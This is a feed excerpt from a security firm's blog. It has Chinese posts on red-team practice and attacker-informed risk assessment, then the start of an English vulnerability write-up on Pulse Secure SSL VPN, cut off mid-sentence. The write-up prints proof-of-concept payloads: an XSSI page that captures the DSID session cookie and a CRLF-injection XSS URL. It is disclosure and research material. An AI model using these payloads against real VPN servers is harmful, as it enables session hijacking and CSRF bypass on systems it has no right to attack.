的攻擊方式,回國之後馬上就把這個知識用在當時的專案上,讓我們多了一些攻擊面向!(這個手法挺有趣的,在我們污染伺服器後,隨機一個人瀏覽客戶網頁就會執行我們的 JavaScript,不需要什麼特殊條件,有興趣可以研究一下:p )</p> <h3 id="相信以及堅持">相信…以及堅持</h3> <p>最後一點,我想分享的是:在研究或者測試的過程當中,有時候會花費很多時間卻沒有成果,但是如果你評估是有機會,那就相信自己,花時間做下去吧! 我們有一個花費一個月的例子,是之前<a href="https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way/">破解 IDA Pro 偽隨機數</a>的研究,這個事件意外在 binary 圈很有名,甚至還有人寫成<a href="https://medium.com/the-singularity-is-near/recent-leak-of-ida-pro-7-2-a-brief-timeline-4c1dcbe6331e">事件懶人包</a>。這個研究是在探討如果我們沒有安裝密碼,有機會安裝 IDA PRO 嗎?結果最後我們想辦法逆推出了 IDA 密碼產生器的算法,知道偽隨機數使用了哪些字元,和它的正確排序。這件事情的難度已經不只在技術上,而在於要猜出偽隨機數使用的字元集順序,還要同時猜出對方使用的演算法(至少有88種)。而且我們每驗證一種排列組合,就會花半天時間和 100GB 的空間,累積成本滿高的。但我們根據經驗相信這是有機會成功的,並且投注資源堅持下去,最後有了很不錯的成果。</p> <p>這裡不是在鼓勵一意孤行,而是一種心理素質:是在面臨卡關的時候,有足夠的判斷力,方向錯誤能果斷放棄,如果方向正確要有堅持下去的勇氣。</p> <h2 id="資安防護趨勢與紅隊的下一步">資安防護趨勢與紅隊的下一步</h2> <p>文章的最後一部分要談的是紅隊演練的未來,也是這篇文章的重點,未來,我們希望可以解決什麼問題?</p> <p>做為紅隊演練的領導廠商,從 2017 年演練到現在我們進入台灣企業內網的成功率是 100%。我們在超過六成的演練案中拿到 AD 管理權限,這還不含那些不是用 AD 來管理的企業。我們發現進入內網後,通常不會有什麼阻礙,就好像變成內部員工,打了聲招呼就可以進機房。想要提醒大家的是:對頂尖攻擊團隊而言,進入企業內網的難度並不高。如果碰上頂尖的駭客,或是一個 0day,企業準備好了嗎?這就是現階段我們所發現的問題!</p> <p><img src="/assets/img/blog/20191024/4.jpg" alt="" /></p> <p>在說到抵禦攻擊通常會有三個面向,分別是「預防」、「偵測」和「回應」。一般而言企業在「預防」這部份做的比較完善,對於已知的弱點都有比較高的掌握度。今天普遍的問題在「<strong>偵測</strong>」和「<strong>回應</strong>」上,企業能不能發現有人在對你進行攻擊?或是知道被攻擊後有沒有能力即時回應並且根絕源頭?這兩件事情做得相對不好的原因並不是企業沒有投入資源在上面,而是對於企業來說太難驗證,很難有個標準去確定目前的機制有沒有效或是買了設備有沒有作用,就算有藍隊通常也沒有建立完善的應對 SOP,畢竟駭客入侵不會是天天發生的事情。</p> <p>所以,我們希望企業能從紅隊演練中,訓練對攻擊事件的偵測和反應能力。或是說,紅隊演練的本質就是在真實的演練,透過攻防幫助企業了解自己的弱項。過去台灣的紅隊服務都會強調在找出整個企業的弱點,找出漏洞固然重要,但碰到像我們一樣很常找到 0-day 的組織,有偵測和回應能力才是最後能救你一命的硬技能。換個角度來看,目前世界上最完整的攻擊戰略和技術手法列表是 <a href="https://attack.mitre.org/">MITRE ATT&amp;CK Framework</a>,一個對企業有傷害的攻擊行動通常會是很多個攻擊手法所組成的攻擊鏈,而在這個 Framework 中,找到起始弱點這件事情僅佔了整個攻擊鏈不到一成,企業如果能夠投注在其他九成手法的偵測能力上並阻斷其中任一環節,就有機會讓整個攻擊行動失敗而保護到資產。</p> <p>要說的是,我們紅隊演練除了找出企業漏洞能力頂尖之外,也累積了很豐富的內網滲透經驗及技巧,我們很樂意透過演練協助企業加強真實的偵測和回應能力。漸漸的,未來紅隊會慢慢著重在和藍隊的攻防演練。會強調擬定戰略,讓企業了解自己對哪些攻擊的防禦能力比較弱,進而去改善。未來的紅隊也更需要強調與防禦機制交手的經驗,了解防禦的極限,才有辦法找到設備設定不全或是涵蓋率不足的盲點。</p> <p>最後我們也有些規劃建議給對資安防禦比較成熟的企業如下,逐步落實可以將資安體質提昇一個層次。(至少從我們的經驗來看,有這些概念的企業都是特別難攻擊達成目標的)</p> <ul> <li>如果外網安全已投資多年,開始思考「<strong>如果駭客已經在內網</strong>」的防禦策略</li> <li>盤點出最不可以被洩漏的重要資料,從這些地方開始奉行 <strong>Zero Trust</strong> 概念</li> <li>企業內部需要有專職資安人員編制(藍隊)</li> <li>透過與有經驗的紅隊合作,全盤檢視防禦盲點</li> </ul> <h2 id="後記">後記</h2> <p>研討會內容到這邊就結束了。寫在最後的最後,是充滿著感謝。其實無論滲透測試還是紅隊演練,在一開始都不是人人可以接受的,而測試的價值也不是我們說了算。一路走來,漸漸漸漸感受到開始有人相信我們,從早期比較多測試時與工程師和網管人員的對立,到近期越來越多 open mind、就是想找出問題的客戶,是滿大的對比。非常感謝他們的信任,也因為這樣的互信,我們得以節省時間完成更棒的產出。滿樂見台灣資訊產業是這樣正向面對問題,漏洞存在就是存在,不會因為視而不見而真的不見,意識到有問題解決了就好。所以我在演講最後留下這樣一句:『<strong>紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下</strong>』,希望越來越多人能正面對待問題,同時也傳遞我們想要做到的價值。</p> <p>2019 DEVCORE CONF,謝謝過去合作的朋友們參與讓 DEVCORE 紅隊得以進化,希望下一步也能有你,我們明年見 :)</p> https://devco.re/blog/2019/10/24/evolution-of-DEVCORE-red-team-and-the-next/ https://devco.re/blog/2019/10/24/evolution-of-DEVCORE-red-team-and-the-next Thu, 24 Oct 2019 00:00:00 +0800 以攻擊者的角度制定防禦策略 <style type="text/css"> table { display: block; width: 100%; overflow: auto; word-break: normal; word-break: keep-all; font-size: smaller; } table th { font-weight: bold } table th, table td { padding: 5px 11px; border: 1px solid #ddd; } table tr { background-color: #fff; border-top: 1px solid #ccc; } table tr:nth-child(2n) { background-color: #f8f8f8; } </style> <h2 id="前言">前言</h2> <p>這篇文章源自於公司今年第一次試辦的研討會 <a href="https://devco.re/conf/2019/">DEVCORE CONFERENCE 2019</a>,我們決定另外寫成 blog 分享出來,讓無法參加的朋友也可以從不同角度重新思考防禦策略。</p> <p>會想在純技術導向的研討會中加入策略面的議題,其實跟今年研討會的主軸「<strong>從策略擬定控制,從控制反映意識</strong>」有關。如果企業缺乏長遠正確的資安策略,除了投入的資源無法達到企業預期的效益、一線資安人員疲於奔命外,管理階層在資訊不對稱的情況下認為投入的資源已經足夠安全,最終形成惡性循環,只能在每次資安事故後跟著時下流行選擇最夯資安的產品。</p> <h2 id="理想中的防禦策略">理想中的防禦策略</h2> <p>而最廣為人知的防禦策略可能是縱深防禦,以不同類型的控制措施 (設備、制度、服務) 減少敵人入侵的可能性、儘量減少單一控制措施失效造成的風險。然而,這個概念有幾個需要思考的重點</p> <ul> <li>防護邊界遠大於企業的想像:導致無法掌握企業可能的入侵點。</li> <li>對資安設備認知錯誤:這讓敵人可以繞過資安設備,或是設備沒有發揮企業預期的效用。</li> <li>管理程序不夠落實:導致控制措施產生新的漏洞,譬如預設密碼沒有更改,導致 VPN 或網路設備可以直接被存取。</li> <li>忽視重要資產相關性:只將防禦資源投注在重要資產本身,而輕忽與其相連的資產。</li> </ul> <p>這一連串的疏忽,可能成為攻擊者入侵的路徑,就是所謂的瑞士起司模型 (Swiss Cheese Model),因此企業期望透過風險評鑑 (Risk Assessment) 來盤點出可能的疏失,並且在權衡資源下,確保將重心放在高風險需要優先處理的項目。</p> <p>但我們想聊聊這個工具在實務上有它難以完善之處,以及從攻擊者的角度是怎樣看待這個擬訂防禦策略核心工具,我們會針對一下議題依序說明</p> <ul> <li>真實風險其實複雜的難以評估</li> <li>現行風險評鑑方式可能的偏差</li> <li>從攻擊者的角度改善風險評鑑</li> <li>挑選適合的方法改善風險評鑑</li> </ul> <h2 id="真實的風險其實複雜的難以評鑑">真實的風險其實複雜的難以評鑑</h2> <p>在這裡我們引述 ITGovernance 對於風險評鑑的定義:</p> <blockquote> <p>Risk Assessment – the process of identifying, analyzing and evaluating risk – is the only way to ensure that the cyber security controls you choose are appropriate to the risks your organization faces.</p> </blockquote> <p>風險評鑑的精髓在於後半段的<strong>確保所選擇的控制措施是否適切於企業真正面臨的風險</strong>,但多數的企業只完成前半段<strong>識別、分析及評估風險</strong>,導致風險評鑑的成效無法完全發揮;而要達到風險評鑑的精髓,得先了解<strong>真實的風險</strong>的組成的要素</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>真實風險 = { 威脅來源、意圖、威脅、弱點、機率、相依性、資產價值、控制措施 } </code></pre></div></div> <ul> <li>威脅來源(Threat Agent):造成威脅或使用弱點的來源個體,例如:組織型犯罪、駭客組織、國家資助犯罪、競爭對手、駭客、內部員工或天災等。</li> <li>意圖(Intent):威脅來源的想達到的目的,例如:取得個人資料、盜取商業機密、破壞企業/個人形象、造成財物損失等。</li> <li>威脅(Threat):達成意圖的方式,例如:惡意程式、社交工程、DDoS、利用系統漏洞等。</li> <li>弱點(Vulnerability):指資產能被威脅利用的弱點,例如:漏洞未更新、人員疏忽、組態設定不當、網路區隔配置錯誤等。</li> <li>機率(Probability):指弱點的易用度或可能發生的機率,例如:CVSS 3.0分數、過去對於某個弱點發生頻率的統計等。</li> <li>相依性(Correlation):資產彼此間的關聯,例如:網路拓樸、虛擬化的關係、集中派版系統、防毒中控主機等。</li> <li>資產價值(Value):企業認定該資產在 C、I、A 及法律衝擊下,所具有的價值,例如:核心系統及資料、一般操作資料、實體設備等。</li> <li>控制措施(Countermeasure):用來降低企業面臨風險的措施,例如:資安設備、管理制度、教育訓練等。</li> </ul> <p>然而,多數企業在評估企業風險時,為求方便,會將風險評鑑的參數簡化成 {<strong>弱點、機率、資產價值</strong>},忽略了與敵人相關的參數 {威脅來源、意圖、威脅、戰略價值};接下來的兩個例子將說明忽略後造成風險評鑑的偏差,包含了<strong>資產價值的輕忽</strong>及<strong>輕忽漏洞利用的可能性</strong>。</p> <h2 id="現實風險評鑑可能的偏差">現實風險評鑑可能的偏差</h2> <h3 id="敵人在意的是戰略價值而不僅是資產價值">敵人在意的是戰略價值而不僅是資產價值</h3> <p>透過風險評鑑可以識別出資產可能面臨的風險,並且作為預算或資源投入優先順序的參考,一般可以分為 3 個優先等級:</p> <ol> <li>優先處理「高衝擊、高機率」 (項次 1、項次 2) 的風險:通常是超出企業可接受風險的威脅,藉由控制措施將風險下降到可接受的程度,這部分通常是企業資源優先或持續投入的重點。</li> <li>次之是「高衝擊、低機率 」(項次 3、項次 4)的風險:此等級是屬於需要持續關注避免升高的風險,如果企業預算仍有餘裕,應該投入的第二個等級。</li> <li>最後是「低衝擊、低機率 」(項次 5、項次 6)的風險:看起來對企業不會有立即危害,一般不需特別關注或投入資源。</li> </ol> <table> <thead> <tr> <th style="text-align: center">項次</th> <th style="text-align: center">資產名稱</th> <th style="text-align: center">價值</th> <th style="text-align: center">威脅</th> <th style="text-align: center">弱點</th> <th style="text-align: center">衝擊</th> <th style="text-align: center">機率</th> <th style="text-align: center">風險</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">1</td> <td style="text-align: center">交易資料</td> <td style="text-align: center">3</td> <td style="text-align: center">蓄意破壞</td> <td style="text-align: center">建築物管制不足</td> <td style="text-align: center">3</td> <td style="text-align: center">3</td> <td style="text-align: center"><strong>27</strong></td> </tr> <tr> <td style="text-align: center">2</td> <td style="text-align: center">用戶個資</td> <td style="text-align: center">3</td> <td style="text-align: center">勒贖軟體加密</td> <td style="text-align: center">無法上 patch</td> <td style="text-align: center">3</td> <td style="text-align: center">3</td> <td style="text-align: center"><strong>27</strong></td> </tr> <tr> <td style="text-align: center">3</td> <td style="text-align: center">轉帳系統</td> <td style="text-align: center">3</td> <td style="text-align: center">軟體失效</td> <td style="text-align: center">遭到 DDoS 攻擊</td> <td style="text-align: center">3</td> <td style="text-align: center">2</td> <td style="text-align: center">18</td> </tr> <tr> <td style="text-align: center">4</td> <td style="text-align: center">核心系統</td> <td style="text-align: center">3</td> <td style="text-align: center">軟體失效</td> <td style="text-align: center">維護服務時間過長</td> <td style="text-align: center">3</td> <td style="text-align: center">1</td> <td style="text-align: center">9</td> </tr> <tr> <td style="text-align: center">5</td> <td style="text-align: center">版本更新系統</td> <td style="text-align: center">3</td> <td style="text-align: center">未經授權存取</td> <td style="text-align: center">橫向移動</td> <td style="text-align: center">2</td> <td style="text-align: center">1</td> <td style="text-align: center">6</td> </tr> <tr> <td style="text-align: center">6</td> <td style="text-align: center">內部差勤系統</td> <td style="text-align: center">1</td> <td style="text-align: center">系統入侵</td> <td style="text-align: center">無法上 patch</td> <td style="text-align: center">1</td> <td style="text-align: center">2</td> <td style="text-align: center">2</td> </tr> </tbody> </table> <p>然而,對敵人而言,選擇欲攻下的灘頭堡時,看重的是<strong>資產的戰略價值</strong>,而與資產本身的價值沒有必然的關係,如上表項次 6 的內部差勤系統如果是能串接到敵人主要的標的,對他來說就是一個必定會設法取得控制權的資產,而這時可以發現經由簡化版的風險評鑑並不容易呈現這個資產所面臨的風險。</p> <h3 id="低估弱點可利用機率">低估弱點可利用機率</h3> <p>防守方在使用分險評鑑時,另一個問題是無法準確的估計弱點的可利用機率,雖然市面上已經有許多弱點管理軟體可以協助,但面對真實攻擊時,敵人不會只利用已知的漏洞或是 OWASP TOP10,甚至自行研發 0-day。因此,當企業已經進行一定程度的防護措施後,如果不曾經歷資安事故或缺乏正確的認知,往往認為應該不會有這麼厲害的駭客可以突破既有的防護措施,但從歷來的資安事故及我們服務的經驗告訴我們,其實電影裡面演的都是真的!!</p> <h2 id="從攻擊者的角度改善風險評鑑">從攻擊者的角度改善風險評鑑</h2> <p>很多人以為攻擊者的角度指的是漏洞挖掘,其實並不全然。攻擊者對於想竊取的資產,也是經過縝密的規劃及反~覆~觀~察~,他們一樣有策略、技法跟工具。而 <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> 就是一個對於已知攻擊策略及技巧具備完整定義及收集的框架,它可以用來協助建立威脅情資 (Threat Intelligence)、改善防守方的偵測及分析、強化模擬敵人及紅隊演練等,相關的使用方式都在其官網上可以找到,細節我們不在這邊介紹。</p> <p><img src="/assets/img/blog/20191009/1.png" alt="" /></p> <p>我們可以將已經發生的資安事故 (Incident) 或紅隊演練對應到 ATT&amp;CK Enterprise Framework 中,並且評估目前所建置的控制措施是否可以減緩、阻擋或偵測這些技巧。以下圖為例,淺綠色方塊是紅隊演練所採用的技巧、紅色方塊則是資安事故使用的技巧,企業可以同時比對多個資安事故或是紅隊演練的結果,找出交集的淺黃色區塊,即是企業可以優先強化的控制措施或是預算應該投入之處。</p> <p><img src="/assets/img/blog/20191009/2.png" alt="" /></p> <p>這邊有個需要特別注意的地方,ATT&amp;CK Enterprise Framework 作為一個驗證防守方控制措施的有效性是一個非常好的框架,然而不建議利用這個框架的特定技巧作為限制紅隊演練的情境,要記得「當使用 ATT&amp;CK 時要注意有其偏差,這可能會將已知的攻擊行為優先於未知的攻擊行為」,正如同紅隊演練的精神,是透過無所不用其極的方式找到可以成功的入侵方式,因此我們會建議給予紅隊演練團隊最自由的發揮空間,才能真正找出企業可能的盲點。</p> <blockquote> <p>Remember any ATT&amp;CK-mapped data has biases:You’re prioritizing known adversary behavior over the unknown. - Katie Nickels, Threat Intelligence Lead @ The MITRE Corporation</p> </blockquote> <h2 id="挑選適合的方法改善防禦策略">挑選適合的方法改善防禦策略</h2> <p>那麼在我們了解敵人會使用的策略、技巧之後,企業要如何挑選改善防禦策略的方法?理想上,我們建議如果預算許可,<a href="https://devco.re/services/red-team#service-content-3">這類型</a>的企業至少應該執行一次高強度的紅隊演練,來全面性的盤點企業面臨的威脅,但現實上並非每個企業都有足夠的預算。因此,在不同的條件下,可以使用不同的方法來改善防禦策略,我們建議可以從以下幾個因素進行評估:</p> <ul> <li>時間:執行這個方法所需要的時間。</li> <li>成本:利用這個方法需要付出的成本 (包含金錢、名聲)。</li> <li>真實性:所採用的方法是否能真實反映現實的威脅。</li> <li>範圍:所採用的方法能涵蓋範圍是否足以代表企業整體狀況。</li> </ul> <p>這邊我們以風險評鑑、弱點掃描、滲透測試、模擬攻擊、紅隊演練及資安事件作為改善防禦策略的方法,而分別就上述六個項目給予相對的分數,並且依照<strong>真實性、範圍、成本及時間作為排序的優先序</strong>(順序依企業的狀況有所不同)。而我們會這樣排序的原因是:一個好的方法應該要<strong>與真實世界的攻擊相仿</strong>而且在整個過程上<strong>足以發現企業整體資安的狀況</strong>,最後才是考慮所花費的成本及時間。</p> <table> <thead> <tr> <th style="text-align: center">方法</th> <th style="text-align: center">真實性</th> <th style="text-align: center">範圍</th> <th style="text-align: center">成本</th> <th style="text-align: center">時間</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">資安事件</td> <td style="text-align: center">5</td> <td style="text-align: center">4</td> <td style="text-align: center">5</td> <td style="text-align: center">5</td> </tr> <tr> <td style="text-align: center">紅隊演練</td> <td style="text-align: center">5</td> <td style="text-align: center">4</td> <td style="text-align: center">4</td> <td style="text-align: center">5</td> </tr> <tr> <td style="text-align: center">模擬攻擊</td> <td style="text-align: center">3</td> <td style="text-align: center">5</td> <td style="text-align: center">2</td> <td style="text-align: center">3</td> </tr> <tr> <td style="text-align: center">滲透測試</td> <td style="text-align: center">3</td> <td style="text-align: center">3</td> <td style="text-align: center">3</td> <td style="text-align: center">3</td> </tr> <tr> <td style="text-align: center">弱點掃描</td> <td style="text-align: center">2</td> <td style="text-align: center">5</td> <td style="text-align: center">1</td> <td style="text-align: center">2</td> </tr> <tr> <td style="text-align: center">風險評鑑</td> <td style="text-align: center">1</td> <td style="text-align: center">4</td> <td style="text-align: center">1</td> <td style="text-align: center">1</td> </tr> </tbody> </table> <p>到這裡,除了資安事件外,大致可以決定要用來協助評估防禦策略所應該選擇的方法。更重要的是在使用這些方法後,要將結果反饋回風險評鑑中,因為相較於其他方法風險評鑑是一個最簡單且廣泛的方法,這有助於企業持續將資源投注在重大的風險上。</p> <h2 id="案例">案例</h2> <p>最後,我們以一個紅隊演練案例中所發現控制措施的疏漏,來改善企業的風險評鑑方式。同時,我們將入侵的成果對應至 ISO27001:2013 的本文要求及控制項目,這些項目可以視為以攻擊者的角度稽核企業的管理制度,更能反映制度的落實情形。</p> <table> <thead> <tr> <th style="text-align: center">項目</th> <th style="text-align: left">發現</th> <th style="text-align: left">本文/附錄</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">1</td> <td style="text-align: left">核心系統盤點未完整</td> <td style="text-align: left">本文 4.3 決定 ISMS 範圍</td> </tr> <tr> <td style="text-align: center">2</td> <td style="text-align: left">監控範圍不足</td> <td style="text-align: left">本文 4.2 關注方之需要與期望</td> </tr> <tr> <td style="text-align: center">3</td> <td style="text-align: left">不同系統使用相同帳號密碼</td> <td style="text-align: left">附錄 A.9.4.3 通行碼管理系統</td> </tr> <tr> <td style="text-align: center">4</td> <td style="text-align: left">管理帳號存在密碼規則</td> <td style="text-align: left">附錄 A.9.4.3 通行碼管理系統</td> </tr> <tr> <td style="text-align: center">5</td> <td style="text-align: left">AD 重大漏洞未修補</td> <td style="text-align: left">附錄 A.12.6.1 技術脆弱性管理</td> </tr> <tr> <td style="text-align: center">6</td> <td style="text-align: left">未限制來源 IP</td> <td style="text-align: left">附錄 A.9.4.1 系統存取限制</td> </tr> <tr> <td style="text-align: center">7</td> <td style="text-align: left">次要網站防護不足</td> <td style="text-align: left">附錄 A.14.1.1 資訊安全要求事項分析及規格</td> </tr> <tr> <td style="text-align: center">8</td> <td style="text-align: left">VPN 網段存取內部系統</td> <td style="text-align: left">附錄 A.13.1.3 網路區隔</td> </tr> </tbody> </table> <p>另外,從演練的結果可以發現下表項次 1 及項次 2 的機率都被證實會發生且位於入侵核心資產的路徑上,因此衝擊及機率均應該由原本的 2 提升為 3,這導致項次 1 的風險值超過了企業原本設定的可接受風險 (27);另外,儘管在演練結果中清楚的知道項次 2 的內部差勤系統是必然可以成功入侵且間接控制核心資產的系統,其風險值仍遠低於企業會進行處理的風險,這正是我們前面所提到低估戰略價值的問題,因此我們會建議,<strong>在紅隊演練路徑上可以獲得核心資產的風險項目,都應該視為不可接受風險來進行處理</strong>。</p> <table> <thead> <tr> <th style="text-align: center">項次</th> <th style="text-align: center">資產名稱</th> <th style="text-align: center">價值</th> <th style="text-align: center">威脅</th> <th style="text-align: center">弱點</th> <th style="text-align: center">衝擊</th> <th style="text-align: center">機率</th> <th style="text-align: center">風險</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">1</td> <td style="text-align: center">版本更新系統</td> <td style="text-align: center">3</td> <td style="text-align: center">未經授權存取</td> <td style="text-align: center">橫向移動</td> <td style="text-align: center"><strong>3</strong></td> <td style="text-align: center"><strong>3</strong></td> <td style="text-align: center"><strong>27</strong></td> </tr> <tr> <td style="text-align: center">2</td> <td style="text-align: center">內部差勤系統</td> <td style="text-align: center">1</td> <td style="text-align: center">系統入侵</td> <td style="text-align: center">無法上 patch</td> <td style="text-align: center"><strong>3</strong></td> <td style="text-align: center"><strong>3</strong></td> <td style="text-align: center"><strong>9</strong></td> </tr> </tbody> </table> <p>最後,引用 <a href="/blog/author/shaolin/">Shaolin</a> 在研討會上的結語</p> <blockquote> <p>紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下。</p> </blockquote> <p>希望各位都能找到可以持續改善防禦策略的方法,讓企業的環境更加安全。</p> https://devco.re/blog/2019/10/09/def-strategy/ https://devco.re/blog/2019/10/09/def-strategy Wed, 09 Oct 2019 00:00:00 +0800 Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study! <p>Author: Orange Tsai(<a href="https://twitter.com/orange_8361">@orange_8361</a>) and Meh Chang(<a href="https://twitter.com/mehqq_">@mehqq_</a>)</p> <p>Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you:</p> <ul> <li><a href="https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf">Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs</a></li> <li><a href="https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/">Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!</a></li> <li><a href="https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/">Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN</a></li> </ul> <p>After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released.</p> <p>We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches!</p> <p>Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub<sup><a href="https://github.com/milo2012/CVE-2018-13379">[1]</a> <a href="https://github.com/milo2012/CVE-2018-13382">[2]</a> <a href="https://github.com/projectzeroindia/CVE-2019-11510">[3]</a></sup> and exploit-db<sup><a href="https://www.exploit-db.com/exploits/47297">[1]</a></sup>. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spent their time differing/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure?</p> <p>We heard about more than 25 bug bounty programs are exploited. From the statistics of <a href="https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/">Bad Packet</a>, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even <a href="https://twitter.com/sherlocksecure/status/1164492373591642112">10 NASA servers exposed for this bug</a>. So, these premature public disclosures indeed force these entities to upgrade their SSL VPN, this is the good part.</p> <p>On the other hand, the bad part is that there is an increasing number of <a href="https://www.securityweek.com/hackers-target-vulnerabilities-fortinet-pulse-secure-products">botnets</a> scanning the Internet in the meanwhile. An <a href="https://twitter.com/GossiTheDog/status/1167170305577689091">intelligence</a> also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP!</p> <h1 id="about-pulse-secure">About Pulse Secure</h1> <p>Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a <a href="https://archive.li/8pzwf">critical infrastructure of Google</a>, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now.</p> <p><img src="/assets/img/blog/20190902/1.png" alt="" /></p> <p>We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading <a href="https://fortiguard.com/psirt/FG-IR-18-384">CVE-2018-13379</a> on FortiGate SSL VPN on our first research day…</p> <p>Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood on <strong>March 8, 2019</strong>! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs.</p> <p>We reported all of our finding to Pulse Secure PSIRT on <strong>March 22, 2019</strong>. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure, <strong>they fixed all bugs just within a month</strong>, and released the patches on <strong>April 24, 2019</strong>. You can check the detailed <a href="https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/">security advisory</a>!</p> <p>It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to!</p> <h1 id="vulnerabilities">Vulnerabilities</h1> <p>We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more.</p> <ul> <li>CVE-2019-11510 - Pre-auth Arbitrary File Reading</li> <li>CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow</li> <li>CVE-2019-11539 - Post-auth(admin) Command Injection</li> <li>CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS</li> <li>CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS</li> <li>CVE-2019-11540 - Post-auth Cross-Site Script Inclusion</li> <li>CVE-2019-11507 - Post-auth Cross-Site Scripting</li> </ul> <h2 id="affected-versions">Affected versions</h2> <ul> <li>Pulse Connect Secure 9.0R1 - 9.0R3.3</li> <li>Pulse Connect Secure 8.3R1 - 8.3R7</li> <li>Pulse Connect Secure 8.2R1 - 8.2R12</li> <li>Pulse Connect Secure 8.1R1 - 8.1R15</li> <li>Pulse Policy Secure 9.0R1 - 9.0R3.3</li> <li>Pulse Policy Secure 5.4R1 - 5.4R7</li> <li>Pulse Policy Secure 5.3R1 - 5.3R12</li> <li>Pulse Policy Secure 5.2R1 - 5.2R12</li> <li>Pulse Policy Secure 5.1R1 - 5.1R15</li> </ul> <h2 id="cve-2019-11540-cross-site-script-inclusion">CVE-2019-11540: Cross-Site Script Inclusion</h2> <p>The script <code class="language-plaintext highlighter-rouge">/dana/cs/cs.cgi</code> renders the session ID in JavaScript. As the content-type is set to <code class="language-plaintext highlighter-rouge">application/x-javascript</code>, we could perform the XSSI attack to steal the DSID cookie!</p> <p>Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection!</p> <p>PoC:</p> <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- http://attacker/malicious.html --&gt;</span> <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://sslvpn/dana/cs/cs.cgi?action=appletobj"</span><span class="nt">&gt;&lt;/script&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="nb">window</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nb">window</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">writeln</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">msg</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="dl">"</span><span class="s2">DSID</span><span class="dl">"</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="nx">alert</span><span class="p">(</span><span class="nx">msg</span><span class="p">)</span> <span class="p">}</span> <span class="nx">ReplaceContent</span><span class="p">()</span> <span class="p">}</span> <span class="nt">&lt;/script&gt;</span> </code></pre></div></div> <h2 id="cve-2019-11507-cross-site-scripting">CVE-2019-11507: Cross-Site Scripting</h2> <p>There is a CRLF Injection in <code class="language-plaintext highlighter-rouge">/dana/home/cts_get_ica.cgi</code>. Due to the injection, we can forge arbitrary HTTP headers and inject malicious HTML contents.</p> <p>PoC:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://sslvpn/dana/home/cts_get_ica.cgi ?bm_id=x &amp;vdi=1 &amp;appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb&lt;svg/onload=alert(document.domain)&gt; </code></pre></div></div> <h2 id="cve-2019-11538-post-authuser-arbitrary-file-reading-via-nfs">CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS</h2> <p>The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect 